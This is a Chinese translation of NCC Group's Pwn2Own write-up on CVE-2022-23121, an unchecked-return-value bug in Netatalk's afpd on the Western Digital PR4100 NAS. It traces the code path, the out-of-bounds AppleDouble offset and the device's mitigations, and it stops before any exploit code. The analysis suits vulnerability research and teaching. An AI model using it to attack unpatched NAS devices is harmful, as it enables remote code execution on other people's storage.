Posts 【翻译】西部数据PR4100 NAS RCE漏洞分析(CVE-2022-23121)
Post
Cancel

【翻译】西部数据PR4100 NAS RCE漏洞分析(CVE-2022-23121)

本文翻译自NCC Group的博客,介绍了该团队在Pwn2Own比赛时针对西部数据PR4100 NAS的远程代码执行漏洞利用的细节。

概述

这篇博客文章介绍了2021年9月由NCC Group的Exploit Development Group(EDG)小组中的Alex PlaskettCedric Halbronn以及Aaron Adams三人发现并利用的一个返回值未检测漏洞。我们在2021年9月的Pwn2Own 2021的比赛中成功利用了该漏洞,攻击目标是西部数据PR4100 NAS设备。西部数据发布了发布了一个固件更新(5.19.117),完全移除了对存在漏洞的第三方“没什么价值的Netatalk服务”的支持。由于该漏洞在Netatalk代码中得到了确认,因此被分配了CVE-2022-23121编号,同时ZDI发布了关于该漏洞的一份报告并提到Netatalk发布了最新的3.1.13版本,修复了包括该漏洞在内的多个漏洞。

介绍

该漏洞属于Netatalk项目,该项目是苹果归档协议(Apple Filing Protocol,AFP)的开源实现。Netatalk代码实现于/usr/sbin/afpd服务以及/lib64/libatalk.so动态库。在西部数据My Cloud Pro PR4100 NAS设备中,afpd服务在默认状态下是打开的。

该漏洞可以在无需经过认证的前提下被远程利用。它允许一个攻击者以nobody用户的身份在NAS上远程执行代码。该用户可以访问通常情况下需要经过身份认证才能访问的私有共享。

我们已经在5.17.107版本上分析并利用了该漏洞,这将在下文中详细说明,该漏洞也可能存在于旧版本的固件中。

注意:西部数据My Cloud Pro Series PR4100 NAS设备是基于x86_64架构的。

我们将我们的利用命名为“月饼”。这是因为我们在2021年9月21日完成了利用代码的编写,这一天是2021年的中秋节

译者:该漏洞的研究人员似乎了解或喜欢中国文化,比如其中之一的Cedric Halbronn的Twitter ID是“saidelike”,即Cedric在中文翻译下的拼音。也可能他有一位关系很好的中国朋友/亲人。去年中秋,我在过节摸鱼,而大佬在挖洞🙃。

漏洞细节

A. 背景

DSI/AFP 协议

苹果归档协议(AFP)是知名的Server Message Block(SMB)协议的替代,用来在网络中共享文件。AFP协议的标准可以在这里找到。

AFP通过Data Stream Interface(DSI)协议传输,该协议基于TCP/IP,开放在TCP的548端口。

然而,SMB协议在文件共享网络协议中更胜一筹,AFP协议则鲜为人知,即使它仍然在NAS等网络设备上被支持。AFP协议在苹果OS X 10.9版本系统中被弃用,AFP服务器则在OS X 11版本中被移除。

Netatalk

Netatalk项目是UNIX平台下AFP/DSI协议的实现,其代码在2000年被转移至SourceForge。该项目最早的目标是允许类UNIX操作系统作为AFP服务器,为许多Macintosh或OS X客户端服务。

如之前所述,AFP协议越来越不受关注。这也影响到了Netatalk项目。最近的Netatalk稳定版本是3.1.12,于2018年就已经被公开,这意味着这个项目几乎是一个被遗弃且不被支持的项目。

译者:Netatalk当前已更新至3.1.13版本。

Netatalk项目曾受编号为CVE-2018-1160漏洞的影响,该漏洞在低于(不包括)3.1.12版本的Netatalk中存在,产生的原因是DSIOpensession命令(dsi_opensession())中存在越界写。这个漏洞曾经被用在希捷NAS设备中,因为该设备没有开启ASLR,之后在Hitcon 2019 CTF中开启ASLR的环境中再次被利用。

译者:关于CVE-2018-1160漏洞的分析,可见我的上一篇博客。

AppleDouble文件格式

AppleSingle和AppleDouble文件格式的用途是存储操作系统中常规文件的元数据并允许在不同文件系统中共享这些信息,而无需担心这些系统间的互操作性。

这两个文件格式的主要思想是基于以下事实:任何文件系统都允许将文件存储为一系列字节。因此,可以将常规文件的元数据(也就是文件的属性信息)保存在附加文件当中,并将这些属性反映回另一端(或者至少部分属性),只要另一端的文件系统支持它们。否则,这些附加的属性也可以被丢弃。

AppleSingle和AppleDouble标准可以在这里找到。AppleDouble文件格式在samba的源代码中也有注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
   "._" AppleDouble Header File Layout:
         MAGIC          0x00051607
         VERSION        0x00020000
         FILLER         0
         COUNT          2
     .-- AD ENTRY[0]    Finder Info Entry (must be first)
  .--+-- AD ENTRY[1]    Resource Fork Entry (must be last)
  |  |   /////////////
  |  '-> FINDER INFO    Fixed Size Data (32 Bytes)
  |      ~~~~~~~~~~~~~  2 Bytes Padding
  |      EXT ATTR HDR   Fixed Size Data (36 Bytes)
  |      /////////////
  |      ATTR ENTRY[0] --.
  |      ATTR ENTRY[1] --+--.
  |      ATTR ENTRY[2] --+--+--.
  |         ...          |  |  |
  |      ATTR ENTRY[N] --+--+--+--.
  |      ATTR DATA 0   <-'  |  |  |
  |      ////////////       |  |  |
  |      ATTR DATA 1   <----'  |  |
  |      /////////////         |  |
  |      ATTR DATA 2   <-------'  |
  |      /////////////            |
  |         ...                   |
  |      ATTR DATA N   <----------'
  |      /////////////
  |         ...          Attribute Free Space
  |
  '----> RESOURCE FORK
            ...          Variable Sized Data
            ...
*/

afpd二进制文件和libatalk.so库文件并不包含符号。然而,由于GNU公共许可证(GPL)的要求,西部数据发布了它们使用的Netatalk的开源实现以及补丁。西部数据发布的最新的源代码档案版本为5.16.105,与我们所分析的最新版本固件(5.17.107)并不匹配。然而,我们确认了afpdlibatalk.so在到目前为止的5个操作系统版本中并没有任何变化。因此,本文之后所示的代码通常来自于Netatalk的源代码。

注意:西部数据PR4100以最新的3.1.12版本的netatalk源代码为基础。

让我们分析一下,Netatalk在打开存储为AppleDouble格式的fork文件时,是如何接受客户端连接、解析AFP请求,从而触发漏洞代码部的。

main()函数入口点初始化了很多内存对象,加载AFP配置信息,并开始监听AFP端口(TCP 548)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//netatalk-3.1.12/etc/afpd/main.c
int main(int ac, char **av)
{
    ...
    /* wait for an appleshare connection. parent remains in the loop
     * while the children get handled by afp_over_{asp,dsi}.  this is
     * currently vulnerable to a denial-of-service attack if a
     * connection is made without an actual login attempt being made
     * afterwards. establishing timeouts for logins is a possible
     * solution. */
    while (1) {
        ...
        for (int i = 0; i < asev->used; i++) {
            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                switch (asev->data[i].fdtype) {

                case LISTEN_FD:
                    if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
                        ...
                    }
                    break;
    ...

dsi_start()函数基本上只调用了2个函数:dsi_getsession()以及afp_over_dsi()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//netatalk-3.1.12/etc/afpd/main.c
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }

    return child;
}

其中dsi_getsession()函数调用了dsi->proto_open这个函数指针,该指针指向dsi_tcp_open()函数。

1
2
3
4
5
6
7
8
9
10
11
//netatalk-3.1.12/libatalk/dsi/dsi_getsess.c
/*!
 * Start a DSI session, fork an afpd process
 *
 * @param childp    (w) after fork: parent return pointer to child, child returns NULL
 * @returns             0 on sucess, any other value denotes failure
 */
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  ...
  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */

dsi_tcp_open()函数接受客户端连接,通过fork()函数创建子进程,并初始化与客户端的DSI会话。

提示:这对之后的利用非常有用。

译者:CVE-2018-1160 同样需要利用Netatalk的这一特性,即对每个客户端发来的连接,都是用fork()函数新建一个子进程单独处理会话。这是由于通过fork()创建的每个子进程的内存空间的起始地址是相同的,可以通过该特性,利用信息泄露漏洞获取地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
    pid_t pid;
    SOCKLEN_T len;

    len = sizeof(dsi->client);
    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);
    ...
   if (0 == (pid = fork()) ) { /* child */
        ...
    }

    /* send back our pid */
    return pid;
}

回到dsi_getsession()函数,父进程afpd设置 *childp!=NULL,而fork出的处理客户端连接的子进程设置 *childp==NULL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
//netatalk-3.1.12/libatalk/dsi/dsi_getsess.c
/*!
 * Start a DSI session, fork an afpd process
 *
 * @param childp    (w) after fork: parent return pointer to child, child returns NULL
 * @returns             0 on sucess, any other value denotes failure
 */
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  ...
  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
  case -1:
    /* if we fail, just return. it might work later */
    LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
    return -1;

  case 0: /* child. mostly handled below. */
    break;

  default: /* parent */
    /* using SIGKILL is hokey, but the child might not have
     * re-established its signal handler for SIGTERM yet. */
    close(ipc_fds[1]);
    if ((child = server_child_add(serv_children, pid, ipc_fds[0])) ==  NULL) {
      LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
      close(ipc_fds[0]);
      dsi->header.dsi_flags = DSIFL_REPLY;
      dsi->header.dsi_data.dsi_code = htonl(DSIERR_SERVBUSY);
      dsi_send(dsi);
      dsi->header.dsi_data.dsi_code = DSIERR_OK;
      kill(pid, SIGKILL);
    }
    dsi->proto_close(dsi);
    *childp = child;
    return 0;
  }
  ...
  switch (dsi->header.dsi_command) {
  ...
  case DSIFUNC_OPEN: /* setup session */
    /* set up the tickle timer */
    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
    dsi_opensession(dsi);
    *childp = NULL;
    return 0;

  default: /* just close */
    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
    dsi->proto_close(dsi);
    exit(EXITERR_CLNT);
  }
}

让我们回到dsi_start()函数。对于父进程来说,没有发生任何新的事情,并且main()函数继续并永远循环下去,等待其它客户端的连接。对于处理客户端连接的子进程来说,afp_over_dsi()函数被调用。该函数读取AFP数据包(DSI payload),判断AFP命令是什么,并根据命令调用afp_switch[]全局数组中的某个函数指针来处理AFP命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//netatalk-3.1.12/etc/afpd/afp_dsi.c
/* -------------------------------------------
 afp over dsi. this never returns.
*/
void afp_over_dsi(AFPObj *obj)
{
    ...
    /* get stuck here until the end */
    while (1) {
        ...
        /* Blocking read on the network socket */
        cmd = dsi_stream_receive(dsi);
        ...
        switch(cmd) {
        ...
        case DSIFUNC_CMD:
            ...
                /* send off an afp command. in a couple cases, we take advantage
                 * of the fact that we're a stream-based protocol. */
                if (afp_switch[function]) {
                    dsi->datalen = DSI_DATASIZ;
                    dsi->flags |= DSI_RUNNING;

                    LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));

                    AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
                    err = (*afp_switch[function])(obj,
                                                  (char *)dsi->commands, dsi->cmdlen,
                                                  (char *)&dsi->data, &dsi->datalen);

afp_switch[]全局数组在一开始被初始化为preauth_switch,该全局变量包含了一些在认证前可以执行的函数句柄。我们可以猜出,当客户端通过验证之后,该全局数组将被设置为postauth_switch这个值,该值会给客户端更多的其它AFP特性的访问权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//netatalk-3.1.12/etc/afpd/switch.c
/*
 * Routines marked "NULL" are not AFP functions.
 * Routines marked "afp_null" are AFP functions
 * which are not yet implemented. A fine line...
 */
static AFPCmd preauth_switch[] = {
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   0 -   7 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*   8 -  15 */
    NULL, NULL, afp_login, afp_logincont,
    afp_logout, NULL, NULL, NULL,				/*  16 -  23 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  24 -  31 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  32 -  39 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  40 -  47 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL,					/*  48 -  55 */
    NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, afp_login_ext,				/*  56 -  63 */
    ...
};

AFPCmd *afp_switch = preauth_switch;

AFPCmd postauth_switch[] = {
    NULL, afp_bytelock, afp_closevol, afp_closedir,
    afp_closefork, afp_copyfile, afp_createdir, afp_createfile,	/*   0 -   7 */
    afp_delete, afp_enumerate, afp_flush, afp_flushfork,
    afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,	/*   8 -  15 */
    afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
    afp_logout, afp_mapid, afp_mapname, afp_moveandrename,	/*  16 -  23 */
    afp_openvol, afp_opendir, afp_openfork, afp_read,
    afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
    /*  24 -  31 */
    afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
    afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /*  32 -  39 */
    afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
    afp_null, afp_null, afp_null, afp_null,			/*  40 -  47 */
    afp_opendt, afp_closedt, afp_null, afp_geticon,
    afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,	/*  48 -  55 */
    afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
    ...
};

这里有一个有趣的事情值得注意:西部数据PR4100设备在默认环境下开放了一个Public的AFP共享,允许客户端不经任何认证即可访问。这意味着只要我们访问的目标是这个Public AFP共享,就可以访问所有认证后的函数句柄。另外同样值得注意的是,相同的Public共享目录也可以使用guest用户通过SMB协议来访问,而不需要输入任何密码。这说明我们可以通过AFP或者SMB协议读取、创建或修改存储于这个Public共享目录中任意文件。

我们感兴趣的AFP命令是“FPOpenFork”,该命令被afp_openfork()函数句柄来处理。如上文所述,fork文件是用来存储一个常规文件的属性等元数据的特殊文件。fork文件是以AppleDouble文件格式存储的。afp_openfork()函数句柄会在磁盘上查找fork文件的路径并打开,之后调用ad_open()函数来处理(“ad”代表AppleDouble)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//netatalk-3.1.12/etc/afpd/fork.c
/* ----------------------- */
int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen)
{
    ...
    struct adouble  *adsame = NULL;
    ...
    if ((opened = of_findname(vol, s_path))) {
        adsame = opened->of_ad;
    }
    ...
    if ((ofork = of_alloc(vol, curdir, path, &ofrefnum, eid, adsame, st)) == NULL)
        return AFPERR_NFILE;
    ...
    /* First ad_open(), opens data or ressource fork */
    if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {

ad_open()函数非常普通,它能够打开不同的fork文件:一个数据(data)fork文件,一个元数据(metadata)fork文件或者一个资源(resource)fork文件。由于我们处理的是一个资源fork文件(译者:在利用时),我们最终会调用ad_open_rf()函数(“rf”代表resource fork)。

注意:ad_open()位于libatalk/目录当中,而不是之前讨论的代码所在的etc/afpd目录。因此,从现在起,我们分析的代码都位于libatalk.so库中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//netatalk-3.1.12/libatalk/adouble/ad_open.c
/*!
 * Open data-, metadata(header)- or ressource fork
 *
 * ad_open(struct adouble *ad, const char *path, int adflags, int flags)
 * ad_open(struct adouble *ad, const char *path, int adflags, int flags, mode_t mode)
 *
 * You must call ad_init() before ad_open, usually you'll just call it like this: \n
 * @code
 *      struct adoube ad;
 *      ad_init(&ad, vol->v_adouble, vol->v_ad_options);
 * @endcode
 *
 * Open a files data fork, metadata fork or ressource fork.
 *
 * @param ad        (rw) pointer to struct adouble
 * @param path      (r)  Path to file or directory
 * @param adflags   (r)  Flags specifying which fork to open, can be or'd:
 *                         ADFLAGS_DF:        open data fork
 *                         ADFLAGS_RF:        open ressource fork
 *                         ADFLAGS_HF:        open header (metadata) file
 *                         ADFLAGS_NOHF:      it's not an error if header file couldn't be opened
 *                         ADFLAGS_NORF:      it's not an error if reso fork couldn't be opened
 *                         ADFLAGS_DIR:       if path is a directory you MUST or ADFLAGS_DIR to adflags
 *
 *                       Access mode for the forks:
 *                         ADFLAGS_RDONLY:    open read only
 *                         ADFLAGS_RDWR:      open read write
 *
 *                       Creation flags:
 *                         ADFLAGS_CREATE:    create if not existing
 *                         ADFLAGS_TRUNC:     truncate
 *
 *                       Special flags:
 *                         ADFLAGS_CHECK_OF:  check for open forks from us and other afpd's
 *                         ADFLAGS_SETSHRMD:  this adouble struct will be used to set sharemode locks.
 *                                            This basically results in the files being opened RW instead of RDONLY.
 * @param mode      (r)  mode used with O_CREATE
 *
 * The open mode flags (rw vs ro) have to take into account all the following requirements:
 * - we remember open fds for files because me must avoid a single close releasing fcntl locks for other
 *   fds of the same file
 *
 * BUGS:
 *
 * * on Solaris (HAVE_EAFD) ADFLAGS_RF doesn't work without
 *   ADFLAGS_HF, because it checks whether ad_meta_fileno() is already
 *   openend. As a workaround pass ADFLAGS_SETSHRMD.
 *
 * @returns 0 on success, any other value indicates an error
 */
int ad_open(struct adouble *ad, const char *path, int adflags, ...)
{
    ...
    if (adflags & ADFLAGS_RF) {
        if (ad_open_rf(path, adflags, mode, ad) != 0) {
            EC_FAIL;
        }
    }

ad_open_rf()函数之后会调用并进入ad_open_rf_ea()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//netatalk-3.1.12/libatalk/adouble/ad_open.c
/*!
 * Open ressource fork
 */
static int ad_open_rf(const char *path, int adflags, int mode, struct adouble *ad)
{
    int ret = 0;

    switch (ad->ad_vers) {
    case AD_VERSION2:
        ret = ad_open_rf_v2(path, adflags, mode, ad);
        break;
    case AD_VERSION_EA:
        ret = ad_open_rf_ea(path, adflags, mode, ad);
        break;
    default:
        ret = -1;
        break;
    }

    return ret;
}

ad_open_rf_ea()函数打开(译者:我们所指定的)资源fork文件。假定该文件已经存在,该函数最终会调用并进入ad_header_read_osx()函数,读取该文件的、基于AppleDouble格式的实际内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static int ad_open_rf_ea(const char *path, int adflags, int mode, struct adouble *ad)
{
    ...

#ifdef HAVE_EAFD
    ...
#else
    EC_NULL_LOG( rfpath = ad->ad_ops->ad_path(path, adflags) );
    if ((ad_reso_fileno(ad) = open(rfpath, oflags)) == -1) {
        ...
    }
#endif
    opened = 1;
    ad->ad_rfp->adf_refcount = 1;
    ad->ad_rfp->adf_flags = oflags;
    ad->ad_reso_refcount++;

#ifndef HAVE_EAFD
    EC_ZERO_LOG( fstat(ad_reso_fileno(ad), &st) );
    if (ad->ad_rfp->adf_flags & O_CREAT) {
        /* This is a new adouble header file, create it */
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): created adouble rfork, initializing: \"%s\"",
            path, rfpath);
        EC_NEG1_LOG( new_ad_header(ad, path, NULL, adflags) );
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): created adouble rfork, flushing: \"%s\"",
            path, rfpath);
        ad_flush(ad);
    } else {
        /* Read the adouble header */
        LOG(log_debug, logtype_ad, "ad_open_rf(\"%s\"): reading adouble rfork: \"%s\"",
            path, rfpath);
        EC_NEG1_LOG( ad_header_read_osx(rfpath, ad, &st) );
    }
#endif

我们终于来到了我们的漏洞函数:ad_header_read_osx()

B. 理解漏洞

ad_header_read_osx()函数读取资源fork文件的内容,也就是将文件内容根据AppleDouble格式进行理解。Netatalk根据AppleDouble格式,将格式中的各个元素保存进程序定义的adouble数据结构当中,该结构将在下文中详解。ad_header_read_osx()函数开始读取AppleDouble头部来判断该资源fork文件有多少个entry。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//netatalk-3.1.12/libatalk/adouble/ad_open.c
/* Read an ._ file, only uses the resofork, finderinfo is taken from EA */
static int ad_header_read_osx(const char *path, struct adouble *ad, const struct stat *hst)
{
    ...
    struct adouble      adosx;
    ...
    LOG(log_debug, logtype_ad, "ad_header_read_osx: %s", path ? fullpathname(path) : "");
    ad_init_old(&adosx, AD_VERSION_EA, ad->ad_options);
    buf = &adosx.ad_data[0];
    memset(buf, 0, sizeof(adosx.ad_data));
    adosx.ad_rfp->adf_fd = ad_reso_fileno(ad);

    /* read the header */
    EC_NEG1( header_len = adf_pread(ad->ad_rfp, buf, AD_DATASZ_OSX, 0) );
    ...
    memcpy(&adosx.ad_magic, buf, sizeof(adosx.ad_magic));
    memcpy(&adosx.ad_version, buf + ADEDOFF_VERSION, sizeof(adosx.ad_version));
    adosx.ad_magic = ntohl(adosx.ad_magic);
    adosx.ad_version = ntohl(adosx.ad_version);
    ...
    memcpy(&nentries, buf + ADEDOFF_NENTRIES, sizeof( nentries ));
    nentries = ntohs(nentries);
    len = nentries * AD_ENTRY_LEN;

之后我们看到,该函数进入了parse_entries()函数来解析不同的AppleDouble entry。有意思的是,当parse_entries()函数失败时,程序只是在日志中记录该错误,但并没有退出:

1
2
3
4
5
    nentries = len / AD_ENTRY_LEN;
    if (parse_entries(&adosx, buf, nentries) != 0) {
        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
            path ? fullpathname(path) : "");
    }

如果我们仔细分析parse_entries()函数,我们可以看到,当以下几个条件之一发生时,函数返回错误:

  • AppleDouble的“eid“是0
  • AppleDouble的“offset”越界
  • 当“eid”不指向一个资源fork文件,且AppleDouble的“offset”加上data的长度之后越界

我们知道,我们处理的是资源fork文件,因此第二个条件很有趣。简单来说,它意味着我们可以在fork文件中提供一个越界的AppleDouble “offset”值并让parse_entries()函数返回一个错误,但是ad_header_read_osx()函数忽略了这个错误,程序继续往下执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Read an AppleDouble buffer, returns 0 on success, -1 if an entry was malformatted
 **/
static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries)
{
    uint32_t   eid, len, off;
    int        ret = 0;

    /* now, read in the entry bits */
    for (; nentries > 0; nentries-- ) {
        memcpy(&eid, buf, sizeof( eid ));
        eid = get_eid(ntohl(eid));
        buf += sizeof( eid );
        memcpy(&off, buf, sizeof( off ));
        off = ntohl( off );
        buf += sizeof( off );
        memcpy(&len, buf, sizeof( len ));
        len = ntohl( len );
        buf += sizeof( len );

        ad->ad_eid[eid].ade_off = off;
        ad->ad_eid[eid].ade_len = len;

        if (!eid
            || eid > ADEID_MAX
            || off >= sizeof(ad->ad_data)
            || ((eid != ADEID_RFORK) && (off + len >  sizeof(ad->ad_data))))
        {
            ret = -1;
            LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",
                (uint)eid, (uint)off, (uint)len);
        }
    }

    return ret;
}

至此,有必要去了解设备开放了哪些漏洞利用的缓解措施,这样才能知道我们接下来需要绕过哪些限制,同时需要分析parse_entries()函数之后的代码来了解我们需要构建哪些漏洞利用原语。

利用

环境中的缓解措施

检查设备操作系统的内核是否开放ASLR:

1
2
root@MyCloudPR4100 ~ # cat /proc/sys/kernel/randomize_va_space 
2

这里可知:

  • 0 - 禁用ASLR。当内核以norandmaps参数启动时,将应用该设置。
  • 1 - 随机化栈地址、VDSO页地址以及共享内存区域地址。数据段的基地址位于可执行代码段末尾之后。
  • 2 - 随机化栈地址、VDSO页地址、共享内存区域地址以及数据段地址。这是默认的设置。

checksec.py脚本检查afpd二进制程序的缓解措施:

1
2
3
4
5
6
[*] '/home/cedric/pwn2own/firmware/wd_pr4100/_WDMyCloudPR4100_5.17.107_prod.bin.extracted/squashfs-root/usr/sbin/afpd'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

总结一下:

  • afpd:随机化
    • .text:可读/可执行
    • .data:可读/可写
  • 共享库:随机化
  • 堆:随机化
  • 栈:随机化

由于所有东西的地址都被随机化,因此我们需要一些信息泄露的利用原语来绕过ASLR。我们还需要研究,是否可以触发一条路径,使得偏移越界访问对漏洞利用有用。

发现好用的漏洞利用原语

让我们再来分析一下ad_header_read_osx()函数中的代码。这里假定前面讨论过的parse_entries()函数解析了一个存在越界偏移entry的AppleDouble文件。来看看再parse_entries()函数返回之后,我们还能做些什么。可以看到,假定if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {条件成立,该函数最终会调用并进入ad_convert_osx()函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    nentries = len / AD_ENTRY_LEN;
    if (parse_entries(&adosx, buf, nentries) != 0) {
        LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
            path ? fullpathname(path) : "");
    }

    if (ad_getentrylen(&adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {
        LOG(log_warning, logtype_ad, "Convert OS X to Netatalk AppleDouble: %s",
            path ? fullpathname(path) : "");

        if (retry_read > 0) {
            LOG(log_error, logtype_ad, "ad_header_read_osx: %s, giving up", path ? fullpathname(path) : "");
            errno = EIO;
            EC_FAIL;
        }
        retry_read++;
        if (ad_convert_osx(path, &adosx) == 1) {
            goto reread;
        }
        errno = EIO;
        EC_FAIL;
    }

就像下面代码的注释中所声明的那样,ad_convert_osx()函数负责将苹果AppleDouble文件格式转换为Netatalk实现的一个更为简单的格式。

可以看出,ad_convert_osx()函数一开始通过映射将原始的fork文件(基于AppleDouble文件格式)映射进内存当中。之后,该函数调用memmove()来丢弃掉FinderInfo部分的内容,并将剩余部分转移到该部分的开头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//netatalk-3.1.12/libatalk/adouble/ad_open.c
/**
 * Convert from Apple's ._ file to Netatalk
 *
 * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes
 * containing packed xattrs. Netatalk can't deal with that, so we
 * simply discard the packed xattrs.
 *
 * As we call ad_open() which might result in a recursion, just to be sure
 * use static variable in_conversion to check for that.
 *
 * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise
 **/
static int ad_convert_osx(const char *path, struct adouble *ad)
{
    EC_INIT;
    static bool in_conversion = false;
    char *map;
    int finderlen = ad_getentrylen(ad, ADEID_FINDERI);
    ssize_t origlen;

    if (in_conversion || finderlen == ADEDLEN_FINDERI)
        return 0;
    in_conversion = true;

    LOG(log_debug, logtype_ad, "Converting OS X AppleDouble %s, FinderInfo length: %d",
        fullpathname(path), finderlen);

    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);

    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
    if (map == MAP_FAILED) {
        LOG(log_error, logtype_ad, "mmap AppleDouble: %s\n", strerror(errno));
        EC_FAIL;
    }

    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
            map + ad_getentryoff(ad, ADEID_RFORK),
            ad_getentrylen(ad, ADEID_RFORK));

是时候来看看adouble结构体了。对于我们来说,其中重要的字段是ad_eid[]ad_data[]。当AppleDouble文件被读取的时候,adouble结构体就被污染了。因此我们可以控制所有的这些字段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//netatalk-3.1.12/include/atalk/adouble.h
struct ad_entry {
    off_t     ade_off;
    ssize_t   ade_len;
};

struct adouble {
    uint32_t            ad_magic;         /* Official adouble magic                   */
    uint32_t            ad_version;       /* Official adouble version number          */
    char                ad_filler[16];
    struct ad_entry     ad_eid[ADEID_MAX];

    ...
    char                ad_data[AD_DATASZ_MAX];
};

用来访问EID偏移、长度字段以及数据内容的函数/宏定义可以一眼看出:

  • ad_getentryoff():获取一个EID偏移值
  • ad_getentrylen():获取一个EID长度值
  • ad_entry():获取EID对应的数据(通过上面的偏移来获取)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//netatalk-3.1.12/libatalk/adouble/ad_open.c
off_t ad_getentryoff(const struct adouble *ad, int eid)
{
    if (ad->ad_vers == AD_VERSION2)
        return ad->ad_eid[eid].ade_off;

    switch (eid) {
    case ADEID_DFORK:
        return 0;
    case ADEID_RFORK:
#ifdef HAVE_EAFD
        return 0;
#else
        return ad->ad_eid[eid].ade_off;
#endif
    default:
        return ad->ad_eid[eid].ade_off;
    }
    /* deadc0de */
    AFP_PANIC("What am I doing here?");
}
1
2
3
4
5
//netatalk-3.1.12/include/atalk/adouble.h
#define ad_getentrylen(ad,eid)     ((ad)->ad_eid[(eid)].ade_len)
